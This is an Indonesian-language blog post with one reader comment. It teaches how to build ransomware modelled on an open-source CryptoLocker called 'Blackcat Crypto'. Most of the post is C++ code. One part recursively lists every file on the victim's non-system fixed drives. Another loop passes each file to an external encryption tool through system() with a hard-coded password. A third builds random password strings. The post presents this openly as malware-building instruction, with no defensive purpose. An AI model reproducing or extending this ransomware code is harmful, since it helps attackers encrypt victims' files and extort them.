Friday 23 August 2019

Ransomware



Assalamualaikum
Dah lama gak upload :v nungguin yhaaa :)
Kali ini kita akan membahas Ransomware
Langsung aja =>

Ransomware
Diawali dengan blackcat crypto
Blackcat Crypto adalah open source CryptoLocker. Blackhat Crypto dikembangkan dalam  Visual C++..program ini memiliki fitur mengenkripsi semua file,mengunci sistem, dan mengirim kunci kembali ke server. Fungsionalitas multi-utras membantu alat ini membuat enkripsi lebih cepat dan tepat.
Menggunakan algoritma enkripsi 256-bit yang kuat,setelah file di enkripsi, file sama sekali tidak berguna tanpa kata sandi,dan tidak dapat dibaca...
Kek gmn??
Nah begini caranya
Dapatkan semua file dari semua drive untuk mengenkripsi

Program Visual C++ mendapatkan semua daftar direktori & file di drive dan jalur penyimpanan dalam file texs untuk enkripsi yang nanti akan digunakan. Disini gw menggunakan Boost C++ untuk mendapatkan semua daftar file.
Pertama atur dulu Boost library untuk mengomplikasi program.

#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>
using namespace std;
fstream out_file("data.txt", ios::out);
#define MAX 256
int main(int argc, char* argv[]) {
int dr_type = 99;
char dr_avail[MAX];
char *temp = dr_avail;
/* 1st we fill the buffer */ GetLogicalDriveStrings(MAX, dr_avail);
while (*temp != NULL) { // Split the buffer by null
dr_type = GetDriveType(temp);
    char skip[10] = "C:\\";
if (dr_type == 3 && temp[0] != 'C') {
boost::system::error_code dir_error;
for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) { if (dir_error.value()) {

cerr << "Error accessing file: " << dir_error.message() << endl; }

else {
    cout << dir->path() << endl;
out_file << dir->path() << "\n";
     }
}
}
temp += lstrlen(temp) + 1;

} out_file.close();
     system("pause");

Trus engkripsi filenya gimana??

======
Di sini pertama-tama gua mendapatkan setiap path file dari "data.txt" baris demi baris dan mengirim ke alat crypy ini dengan tipe enkripsi dan kata sandi. u juga dapat menyematkan semua program ini di loop atas untuk mendapatkan jalur dan mengenkripsi data secara rekursif.

out_file.open("data.txt", ios::in);
           string line;
               while (out_file.good()) {                            getline(out_file, line);  
           cout << line << endl;
               std::string cmmd = "crpt.exe -e -p 4321 ";
               cmmd += line;
               system(cmmd.c_str());

Selanjutnya kita harus buat fungsi sandi kompleks string panjang
Gimana caranya??

LANGKAH KE 3( Buat Fungsi Sandi Kompleks String Panjang)

Kirim ke fungsi dan fungsi-->kembalikan kata sandi lama yang dihasilkan yang dapat lu gunakan untuk enkripsi.

string RandomString(int len)
{
srand(time(0));
string str =     "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string newstr;
int pos;
while (newstr.size() != len) {
pos = ((rand() % (str.size() - 1)));
newstr += str.substr(pos, 1);
}
return newstr;
}

Mungkin cukup sekian terlebih dahulu bila ada kesalahan kata kata mohon maaf gw jg masih belajar :)
Wassalamualaikum wr wb


1 comments:

Isnan said...

Lgi opmem gk om??

Post a Comment

Berkomentarlah dengan bijak :)
Jangan lupa share ke teman-teman kalian

Template by:

Free Blog Templates